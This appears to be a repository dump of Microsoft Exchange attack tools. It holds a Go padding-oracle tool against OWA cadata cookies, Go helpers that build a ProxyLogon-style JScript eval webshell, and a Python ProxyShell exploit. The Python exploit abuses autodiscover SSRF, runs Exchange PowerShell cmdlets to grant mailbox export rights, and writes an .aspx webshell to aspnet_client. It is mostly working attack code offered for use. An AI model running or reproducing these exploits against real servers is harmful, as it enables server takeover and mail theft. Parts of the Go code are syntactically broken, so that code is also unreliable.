93 | )
94 |
95 | func xor(a, b []byte) []byte {
96 | output := make([]byte, len(a))
97 | for i := 0; i < len(a); i++ {
98 | output[i] = a[i] ^ b[i]
99 | }
100 | return output
101 | }
102 |
103 | func pkcs7Unpad(b []byte, blocksize int) ([]byte, error) {
104 | if blocksize <= 0 {
105 | return nil, ErrInvalidBlockSize
106 | }
107 | if b == nil || len(b) == 0 {
108 | return nil, ErrInvalidPKCS7Data
109 | }
110 | if len(b)%blocksize != 0 {
111 | return nil, ErrInvalidPKCS7Padding
112 | }
113 | c := b[len(b)-1]
114 | n := int(c)
115 | if n == 0 || n > len(b) {
116 | return nil, ErrInvalidPKCS7Padding
117 | }
118 | for i := 0; i < n; i++ {
119 | if b[len(b)-n+i] != c {
120 | return nil, ErrInvalidPKCS7Padding
121 | }
122 | }
123 | return b[:len(b)-n], nil
124 | }
125 |
126 |
127 | func reverse(s string) string {
128 | runes := []rune(s)
129 | for from, to := 0, len(runes)-1; from < to; from, to = from+1, to-1 {
130 | runes[from], runes[to] = runes[to], runes[from]
131 | }
132 | return string(runes)
133 | }
134 |
135 | func bust(block []byte, block_size int, target, cookiedata string) {
136 | intermediate_bytes := make([]byte, block_size)
137 | test_bytes := make([]byte, block_size)
138 | test_bytes += block
139 |
140 | retries := 0
141 | last_ok := 0
142 |
143 | switch {
144 | case retries < max_retries:
145 | for byte_num := array.reverse(range block_size) {
146 | history := []
147 | r := 200
148 | if byte_num == block_size - 1 && last_ok > 0{
149 | r = last_ok
150 | }
151 | for i := array.Reverse(range r) {
152 | test_bytes[byte_num] = i
153 | attempts += 1
154 | checkoraclereason(test_bytes[:], target, cookiedata)
155 |
156 | if byte_num == (block_size - 1) {
157 | last_ok = i
158 | }
159 |
160 | current_pad_byte := block_size - byte_num
161 | next_pad_byte := block_size - byte_num + 1
162 | decrypted_byte := test_bytes[byte_num] ^ current_pad_byte
163 | intermediate_bytes[byte_num] = decrypted_byte
164 |
165 | for k := range(byte_num block_size){
166 | test_bytes[k] ^= current_pad_byte
167 | test_bytes[k] ^= next_pad_byte
168 | }
169 | } else {
170 | retries += 1
171 | break
172 | }
173 | } else {
174 | break
175 | }
176 | } else {
177 | fmt.printf("%v in %v try %v", byte_num, block, max_retries)
178 | }
179 | }
180 |
181 | func decrypt(ciphertext []byte, block_size int, target, cookiedata string) []byte {
182 | block_size = 16
183 |
184 | if len(ciphertext)%block_size == 0 {
185 | fmt.Fprintln("The ciphertext Length Error!")
186 | }
187 | iv, ctext := ciphertext[:block_size], ciphertext[block_size:]
188 | decrypted := make([]byte, len(ctext))
189 |
190 | n := 0
191 | for {
192 | block := ctext[:block_size]
193 | ctext = ctext[block_size:]
194 | intermediate_bytes := bust(block, block_size, target, cookiedata)
195 | fmt.Printf("Get Block %v\n", ((n / block_size) + 1))
196 | fmt.Printf("Intermediate Value: %v\n", intermediate_bytes)
197 | decrypted[n : n+block_size] = xor(intermediate_bytes, iv)
198 | iv = block
199 | n += block_size
200 | }
201 | return decrypted
202 | }
203 |
204 | func checkoraclereason(cipher_bytes []byte, target, cookiedata string) int {
205 | cadata := base64.StdEncoding.EncodeToString(cipher_bytes)
206 | decc, _ := base64.StdEncoding.DecodeString(cadata)
207 | cacookies := string(decc)
208 |
209 | target1 := target + "/owa/"
210 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, CheckRedirect: myCheckRedirect}
211 | if !strings.Contains(target1, "http") {
212 | target = "http://" + target1
213 | }
214 |
215 | request, err := http.NewRequest(http.MethodGet, target1, strings.NewReader(""))
216 | if err != nil {
217 | fmt.Println(err)
218 | }
219 |
220 | cookiesstr := getcadata(cacookies) + "; " + getcadataTTL(cookiedata) + "; " + getcadataKey(cookiedata) + "; " + getcadataIV(cookiedata) + "; " + getcadataSig(cookiedata)
221 |
222 | request.Header.Add("Cookie", cookiesstr)
223 | request.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36")
224 | request.Header.Add("Connection", "close")
225 |
226 | do, _ := cli.Do(request)
227 | if do.StatusCode != 302 {
228 | fmt.Printf("[-] %v status error!", do.StatusCode)
229 | }
230 | url := splitlocation(do.Header["Location"][0])
231 | if url == "reason=0" {
232 | //fmt.Println("[*] Padding Error!")
233 | return 0
234 | } else if url == "reason=2" {
235 | //fmt.Println("[*] Got it!")
236 | return 1
237 | } else {
238 | //fmt.Println("[-] Reason Error!")
239 | return 2
240 | }
241 | return 3
242 | }
243 |
244 | func exploit(target, cookiedata string) {
245 | fmt.Println("----------------------------------------------------")
246 | fmt.Println("[+] cadata: " + getcadata(cookiedata))
247 | fmt.Println("----------------------------------------------------")
248 | fmt.Println("[+] cadataTTL: " + getcadataTTL(cookiedata))
249 | fmt.Println("----------------------------------------------------")
250 | fmt.Println("[+] cadataKey: " + getcadataKey(cookiedata))
251 | fmt.Println("----------------------------------------------------")
252 | fmt.Println("[+] cadataIV: " + getcadataIV(cookiedata))
253 | fmt.Println("----------------------------------------------------")
254 | fmt.Println("[+] cadataSig: " + getcadataSig(cookiedata))
255 | fmt.Println("----------------------------------------------------")
256 | cipher_bytes := getcipherbytes(getcadata(cookiedata))
257 | fmt.Println("[+] cadata cipher bytes value: ")
258 | fmt.Println(string(cipher_bytes))
259 | fmt.Println(checkoraclereason(cipher_bytes, target, cookiedata))
260 | plain_bytes := decrypt(cipher_bytes)
261 | plain_bytes = pkcs7Unpad(plain_bytes, 16)
262 | }
263 |
264 | func main() {
265 | Banner()
266 | var target, cookiedata string
267 | flag.StringVar(&target, "u", "", "")
268 | flag.StringVar(&cookiedata, "d", "", "")
269 | flag.CommandLine.Usage = func() {
270 | fmt.Println("usage:\nexec: ./main -u -d ")
271 | }
272 | flag.Parse()
273 | if len(target) == 0 {
274 | fmt.Println("[+] please enter the url you want to check!!!")
275 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11")
276 | } else {
277 | exploit(target, cookiedata)
278 | }
279 | }
280 |
--------------------------------------------------------------------------------
/testfunc/test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "math/rand"
6 | "strconv"
7 | "strings"
8 | "time"
9 | )
10 |
11 | func splitsid(sid string) string {
12 | sid1 := strings.Split(sid, "-")
13 | sid2 := sid1[len(sid1)-1]
14 |
15 | fmt.Println(sid2)
16 | return sid2
17 | }
18 |
19 | func modifysid(sid string) string {
20 | sid1 := strings.Split(sid, "-")
21 | sid2 := sid1[len(sid1)-1]
22 | sid3 := strings.Split(sid, sid2)
23 | sid4 := sid3[0] + "500"
24 |
25 | fmt.Println(sid4)
26 | return sid4
27 | }
28 |
29 | func splitmsexch(msexch string) string {
30 | msexch1 := strings.Split(msexch, "msExchEcpCanary=")
31 | msexch2 := msexch1[len(msexch1)-1]
32 | msexch3 := strings.Split(msexch2, ";")
33 | msexch4 := msexch3[0]
34 |
35 | return msexch4
36 | }
37 |
38 | func splitsess(sess string) string {
39 | sess1 := strings.Split(sess, "ASP.NET_SessionId=")
40 | sess2 := sess1[len(sess1)-1]
41 | sess3 := strings.Split(sess2, ";")
42 | sess4 := sess3[0]
43 |
44 | return sess4
45 | }
46 |
47 | func splitBackEnd(sess string) string {
48 | sess1 := strings.Split(sess, "X-BackEndCookie=")
49 | sess2 := sess1[len(sess1)-1]
50 | sess3 := strings.Split(sess2, ";")
51 | sess4 := sess3[0]
52 |
53 | return sess4
54 | }
55 | func splitMasterAccountSid(sess string) string {
56 | sess1 := strings.Split(sess, "with SID ")
57 | sess2 := sess1[len(sess1)-1]
58 | sess3 := strings.Split(sess2, " and MasterAccountSid")
59 | sess4 := sess3[0]
60 |
61 | return sess4
62 | }
63 |
64 | func main() {
65 | sid := "casd-casd-c-asdc-asdc-1001"
66 | if splitsid(sid) != "500" {
67 | sid = modifysid(sid)
68 | }
69 | fmt.Println("Fixed User SID: " + sid)
70 | shell_name := "lUc1f3r11.aspx"
71 | shell_path := "inetpub\\wwwroot\\aspnet_client\\" + shell_name
72 | fmt.Println(shell_path)
73 | shell_absolute_path := "\\\\127.0.0.1\\c$\\" + shell_path
74 | fmt.Println(shell_absolute_path)
75 | shell_content := "%3Cscript%20language%3D%22JScript%22%20runat%3D%22server%22%3E%20function%20Page_Load%28%29%7B%2F%2A%2A%2Feval%28Request%5B%22evilc0rp%22%5D%2C%22unsafe%22%29%3B%7D%3C%2Fscript%3E"
76 | fmt.Println(shell_content)
77 | random_name := strconv.FormatInt(int64(rand.New(rand.NewSource(time.Now().UnixNano())).Int31n(1000)), 10) + ".js"
78 | fmt.Println(random_name)
79 | proxyLogon_request := `` + sid + `S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923`
80 | fmt.Println(proxyLogon_request)
81 | sess := "ASP.NET_SessionId=casdcasdc-cas-dc-asd-ca-sdc-as-dcasdccdscasd; path=/; httponly"
82 | fmt.Println(splitsess(sess))
83 | msexch := "msExchEcpCanary=casdcasdjcasdkcnajkn23i4bri234hf834f858f.; path=/ecp"
84 | fmt.Println(splitmsexch(msexch))
85 | BackEnd := "X-BackEndCookie=s-1-5-1b=casdcjajnkdcjasjdcsadncjasdvfv//923429458; path=/;"
86 | fmt.Println(splitBackEnd(BackEnd))
87 | sid1 := "with SID S-1-5-21-123452345-23452345-23452345-1001 and MasterAccountSid"
88 | fmt.Println(splitMasterAccountSid(sid1))
89 | }
90 |
--------------------------------------------------------------------------------
/testfunc/test1.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/base64"
5 | "fmt"
6 | "strings"
7 | )
8 |
9 | func getcadata(cookiestr string) string {
10 | cookie1 := strings.Split(cookiestr, "; ")
11 | return cookie1[0]
12 | }
13 |
14 | func getcadataTTL(cookiestr string) string {
15 | cookie2 := strings.Split(cookiestr, "; ")
16 | return cookie2[1]
17 | }
18 |
19 | func getcadataKey(cookiestr string) string {
20 | cookie3 := strings.Split(cookiestr, "; ")
21 | return cookie3[2]
22 | }
23 |
24 | func getcadataIV(cookiestr string) string {
25 | cookie4 := strings.Split(cookiestr, "; ")
26 | return cookie4[3]
27 | }
28 |
29 | func getcadataSig(cookiestr string) string {
30 | cookie5 := strings.Split(cookiestr, "; ")
31 | return cookie5[4]
32 | }
33 |
34 | func splitcadata(cadata string) string {
35 | strs := strings.Split(cadata, "cadata=")
36 | return strs[1]
37 | }
38 |
39 | func splitlocation(location string) string {
40 | strs := strings.Split(location, "%2f&")
41 | return strs[1]
42 | }
43 |
44 | func getcipherbytes(cookiedata string) []byte {
45 | b := []byte(splitcadata(getcadata(cookiedata)))
46 | encc := base64.StdEncoding.EncodeToString(b)
47 | decc, _ := base64.StdEncoding.DecodeString(encc)
48 | cipher_bytes := decc
49 |
50 | return cipher_bytes
51 | }
52 |
53 | func main() {
54 | testcookie := "cadata=p4TwZveLKK8xc2T4N/bQl5J/70EScESQYkeh4EZu2LAjYVee+7+4Ht/z+NKO8WWv03PY+P7/fkKRYIqheinHeUZ7HgL/gKq266Kk+Hde9NjmIyhDVAFiFYVRJtIyPRGiX4AnZupvyVC4tRdOiIr/hg==; cadataTTL=v37wzmi7MEfC9N0dOMDg2g==; cadataKey=JV9Q+2xfT4qQkRII4+9zWWbJ71RAL8sEMxUsOTM6t3GlZXdgYsP7mWa/ANGivKKxvNpleo5rGPIxK8wHx2AwRiRhDz9uGSI4oxu0Xfd5keBRUd6FY73izrofCHb/gVEel4gaHgxTWdxD6vxuEiJ8L/GVCSIzngRYG/0LOm22v/4auh2OmTLU54SZ68t2gWRtf+BZEQyQABDlvYFWZqCaHDV6IyDMflDUdgOmB77dxIo1/b1sERmZ8OzWw57zNfu5QA0wXqsE81OocmYHHTbe4haurwvLhi+jJV7wBP+IX3Px8ZJDQAvLG+OboIJ3mmrCPmJ9R1mp+mKEKkytedsQLA==; cadataIV=OjTNnqor6zXhEjzocv4XiaPaMNIwuX0sgfFsQ1/6N5IpU0I0tVbe+L95meI+CA1sVLudhfyLluBam3oN/xNgGQGnbmmJJJcxfKtx5oSgeujmFWDKAQQSQ7CGJZ8wGUKI5gmk0MQ/06I4/gZqGWDA5NeYzv7F/8Ul9zQiP5SaoION/oxuf3hWOlaIq0wWVqgbgVUYTAUPYpngb7muJrXvNZE3QOt4kbUnY0g4e3EG9sCMp+ctMrUjY+lmJGOIsZ2JENa846sfCeZHcOEp+LzhqN7XcU+8JZ2ung6trD8rmimvk/T0Ibh1ITlpm8wxiyRAKqbG0a77vquwZvE+H8kNYw==; cadataSig=aR3Slm53ss329FIbOEPcD8zr+tbWheelQzmxkRI/w3K864aoBIyqut+JoJYhyW0Gmtir1fWc4Mjua1dFhaB63OzvVZosEZDODOmfpq3KCE2n0X0mhcbLnR5CGHVY4EL/5Ro/VGqp0cocaYtMT8alcZXYlu2lM7KQBekO2VINuPqVB71iy3uZMjkk68q/KPlMOBPO7s5ezoqAMPrBvFMF9Pxhp7LrUs4BnxmH3fz+mmNMOu4vg7WRhUD+f5AOifFYHTGooUtaoYhySv+y6V9wQzL5ejuRARN4VAcnrBsEgoFOPNUKDQ8RuyCUO+Hj0R5+ZBGQlbGo9nX8N2XhkTi2tQ=="
55 | fmt.Println(getcadata(testcookie))
56 | fmt.Println("--------------------------")
57 | fmt.Println(getcadataTTL(testcookie))
58 | fmt.Println("--------------------------")
59 | fmt.Println(getcadataKey(testcookie))
60 | fmt.Println("--------------------------")
61 | fmt.Println(getcadataIV(testcookie))
62 | fmt.Println("--------------------------")
63 | fmt.Println(getcadataSig(testcookie))
64 | fmt.Println("--------------------------")
65 | fmt.Println("[+] cadata bytes value:\n")
66 | fmt.Println(getcipherbytes(getcadata(testcookie)))
67 | fmt.Println("----------------------------------------------------")
68 | locations := "https://106.55.103.31/owa/auth/logon.aspx?url=https%3a%2f%2f106.55.103.31%2fowa%2f&reason=0"
69 | fmt.Println(splitlocation(locations))
70 | }
71 |
--------------------------------------------------------------------------------
/wsman_getshell.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 | import requests
4 | import re
5 | import threading
6 | import sys
7 | import time
8 | from pypsrp.wsman import WSMan
9 | from pypsrp.powershell import PowerShell, RunspacePool
10 | from http.server import HTTPServer, BaseHTTPRequestHandler
11 | from socketserver import ThreadingMixIn
12 | from functools import partial
13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
15 | from struct import *
16 |
17 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
18 | print("[+] Start wsman Server")
19 |
20 | def rand_string(n=3):
21 | return 'ed'.join(random.choices(string.ascii_lowercase, k=n))
22 |
23 | def rand_port(n=4):
24 | return ''.join(random.choices(string.digits, k=n))
25 |
26 | p=int(rand_port())#start wsman random server port
27 |
28 | class proxyshell:
29 | def __init__(self, exchange_url, email, verify=False):
30 | self.token
31 | self.email = email
32 | self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
33 | self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
34 | self.admin_sid = None
35 | self.legacydn = None
36 | self.rand_subj = rand_string(16)
37 | self.session = requests.Session()
38 | self.session.verify = verify
39 |
40 | def post(self,endpoint, data, headers={}):
41 | print("sending wsman")
42 | if 'powershell' in endpoint:
43 | path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}&Email=autodiscover/autodiscover.json%3F@evil.corp"
44 | else:
45 | path = f"/autodiscover/autodiscover.json?@evil.corp{endpoint}?&Email=autodiscover/autodiscover.json%3F@evil.corp"
46 | url = f'{self.exchange_url}{path}'
47 | r=requests.Session()
48 | r = r.post(
49 | url=url,
50 | data=data,
51 | headers=headers,
52 | verify=False
53 | )
54 | return r
55 |
56 | class PwnServer(BaseHTTPRequestHandler):
57 | def __init__(self, proxyshell, *args, **kwargs):
58 | self.proxyshell = proxyshell
59 | super().__init__(*args, **kwargs)
60 |
61 | def do_POST(self):
62 | # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
63 | powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
64 | length = int(self.headers['content-length'])
65 | content_type = self.headers['content-type']
66 | post_data = self.rfile.read(length).decode()
67 | post_data = re.sub('(.*?)', 'http://127.0.0.1:80/powershell', post_data)
68 | post_data = re.sub('(.*?)', 'http://schemas.microsoft.com/powershell/Microsoft.Exchange', post_data)
69 |
70 | headers = {
71 | 'Content-Type': content_type
72 | }
73 |
74 | r = self.proxyshell.post(
75 | proxyshell,
76 | powershell_url,
77 | post_data,
78 | headers
79 | )
80 | resp = r.content
81 | self.send_response(200)
82 | self.end_headers()
83 | self.wfile.write(resp)
84 |
85 | def start_server(proxyshell, port):
86 |
87 | handler = partial(PwnServer, proxyshell)
88 | server = ThreadedHTTPServer(('', port), handler)
89 | server_thread = threading.Thread(target=server.serve_forever)
90 | server_thread.daemon = True
91 | server_thread.start()
92 |
93 | def shell(command, port):
94 | # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
95 | if command.lower() in ['exit', 'quit']:
96 | exit()
97 | wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
98 | with RunspacePool(wsman) as pool:
99 | ps = PowerShell(pool)
100 | ps.add_script(command)
101 | output = ps.invoke()
102 |
103 | print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
104 | print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
105 |
106 |
107 | def write_shell(url,user):
108 | webshell_name=rand_string()+".aspx"
109 | user1 = user.split('@')[0]
110 | shell_path=f'\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\{webshell_name}'
111 | shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user1}"', p)## Add "Mailbox Import Export
112 | time.sleep(3)
113 | shell('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false', p) ## Remove-MailboxExportRequest clean Request
114 | time.sleep(3)
115 | shell(f'New-MailboxExportRequest -Mailbox {user} -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'you are fucked\')" -ExcludeDumpster -FilePath "{shell_path}"', p)
116 | url=url+"/aspnet_client/"+webshell_name+"?cmd=Response.Write('eeeeeeeeeeeeeeeeeeeelUc1f3r11')"
117 | print("[+] Test shell.....")
118 | time.sleep(3)
119 | r=requests.get(url,verify=False,timeout=7)
120 | if('eeeeeeeeeeeeeeeeeeeelUc1f3r11' in r.text):
121 | print("[+] "+url+",shell is ok")
122 | elif('system.web' in r.text):
123 | print("[+] "+url+",shell write ok,But not Runing, Are you send webshell_mail?")
124 | else:
125 | print("[+] "+url+",shell write bad, maybe some antidefender on target!")
126 |
127 | def start_cmdlet(url,token):
128 | pshell=proxyshell
129 | pshell.token=token
130 | pshell.exchange_url=url
131 | start_server(pshell, p)
132 |
133 |
134 | if __name__ == '__main__':
135 | if len(sys.argv) > 2:
136 | url=sys.argv[1]
137 | user=sys.argv[2]
138 | token=sys.argv[3]
139 | start_cmdlet(url,token)
140 | try:
141 | if sys.argv[4] == "shell":
142 | write_shell(url,user)
143 | except:
144 | pass
145 | else:
146 | print("python https://xxx.com admin@example.com shell")
147 | exit()
148 | try:
149 | while True:
150 | command=input("Cmdlet:")
151 | shell(command,p)
152 | except:
153 | pass
--------------------------------------------------------------------------------